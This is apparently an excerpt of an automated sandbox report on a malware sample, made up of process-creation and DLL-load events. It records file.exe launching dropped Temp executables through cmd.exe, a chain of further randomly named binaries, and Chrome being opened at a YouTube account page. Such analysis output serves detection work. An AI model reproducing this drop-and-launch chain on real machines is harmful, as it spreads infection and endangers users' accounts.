Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process created: C:\Users\user\AppData\Local\Temp\1000006001\a16b294260.exe "C:\Users\user\AppData\Local\Temp\1000006001\a16b294260.exe"
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process created: C:\Users\user\AppData\Local\Temp\1000007001\29c55c1284.exe "C:\Users\user\AppData\Local\Temp\1000007001\29c55c1284.exe"
Source: C:\Users\user\AppData\Local\Temp\1000007001\29c55c1284.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" https://www.youtube.com/account
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2104 --field-trial-handle=2032,i,3988199415877584059,13618322696169036975,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=5560 --field-trial-handle=2032,i,3988199415877584059,13618322696169036975,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5568 --field-trial-handle=2032,i,3988199415877584059,13618322696169036975,262144 /prefetch:8
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\FCGIJDBAFC.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe "C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	Process created: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe "C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process created: C:\Users\user\AppData\Local\Temp\1000006001\a16b294260.exe "C:\Users\user\AppData\Local\Temp\1000006001\a16b294260.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process created: C:\Users\user\AppData\Local\Temp\1000007001\29c55c1284.exe "C:\Users\user\AppData\Local\Temp\1000007001\29c55c1284.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000007001\29c55c1284.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" https://www.youtube.com/account	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2104 --field-trial-handle=2032,i,3988199415877584059,13618322696169036975,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=5560 --field-trial-handle=2032,i,3988199415877584059,13618322696169036975,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5568 --field-trial-handle=2032,i,3988199415877584059,13618322696169036975,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: windows.ui.immersive.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: bcp47mrm.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: uianimation.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: d3d10warp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: dxcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: dcomp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\a16b294260.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\a16b294260.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\a16b294260.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\a16b294260.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\a16b294260.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\a16b294260.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\a16b294260.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\a16b294260.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\a16b294260.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\a16b294260.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\a16b294260.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\a16b294260.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\a16b294260.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\a16b294260.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\a16b294260.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\a16b294260.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\a16b294260.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\a16b294260.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\a16b294260.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\a16b294260.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\a16b294260.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\a16b294260.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000007001\29c55c1284.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000007001\29c55c1284.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000007001\29c55c1284.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000007001\29c55c1284.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000007001\29c55c1284.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000007001\29c55c1284.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000007001\29c55c1284.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000007001\29c55c1284.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000007001\29c55c1284.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000007001\29c55c1284.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000007001\29c55c1284.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000007001\29c55c1284.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000007001\29c55c1284.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000007001\29c55c1284.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000007001\29c55c1284.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000007001\29c55c1284.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000007001\29c55c1284.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000007001\29c55c1284.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000007001\29c55c1284.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000007001\29c55c1284.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000007001\29c55c1284.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000007001\29c55c1284.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000007001\29c55c1284.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000007001\29c55c1284.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000007001\29c55c1284.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000007001\29c55c1284.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000007001\29c55c1284.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000007001\29c55c1284.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000007001\29c55c1284.exe	Section loaded: sfc_os.dll	Jump to behavior
